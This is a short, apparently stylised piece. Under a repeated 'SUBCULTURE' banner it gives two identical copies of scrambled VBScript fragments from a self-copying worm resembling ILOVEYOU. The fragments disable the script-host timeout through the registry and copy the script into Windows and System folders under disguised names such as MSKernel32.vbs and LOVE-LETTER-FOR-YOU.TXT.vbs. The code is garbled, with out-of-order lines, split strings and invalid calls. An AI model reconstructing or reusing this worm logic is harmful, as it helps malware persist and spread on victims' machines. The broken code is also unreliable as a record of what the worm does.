S U B C U L T U R E {{ KEY_CURRENT_USER }} S U B C U L T U R E [GetSpecialFolder] S U B C U L T U R E {{ KEY_CURRENT_USER }} S U B C U L T U R E [GetSpecialFolder] S U B C U L T U R E {{ KEY_CURRENT_USER }} S U B C U L T U R E [GetSpecialFolder]

Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "
HKEY_CURRENT_USER
\Software\
Host\Settings\
REG_DWORD"

end if.Timeout",0,"
Set dirwin =
fso.GetSpecialFolder(0)
Set dirsystem =
fso.GetSpecialFolder(1)
Set dirtemp =fso.(2)
.GetSpecialFolder

Set c = fso.GetFile
(WScript.ScriptFullName)
c.Copy(dirsystem&"

\MSKernel32.vbs")
c.Copy(dirwin&"
\Win32DLL.vbs")
c.Copy.html()
(dirsystem&"
\LOVE-LETTER-
FOR-YOU.TXT.vbs")

fso.regruns() Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "
HKEY_CURRENT_USER
\Software\
Host\Settings\
REG_DWORD"

end if.Timeout",0,"
Set dirwin =
fso.GetSpecialFolder(0)
Set dirsystem =
fso.GetSpecialFolder(1)
Set dirtemp =fso.(2)
.GetSpecialFolder

Set c = fso.GetFile
(WScript.ScriptFullName)
c.Copy(dirsystem&"

\MSKernel32.vbs")
c.Copy(dirwin&"
\Win32DLL.vbs")
c.Copy.html()
(dirsystem&"
\LOVE-LETTER-
FOR-YOU.TXT.vbs")

fso.regruns()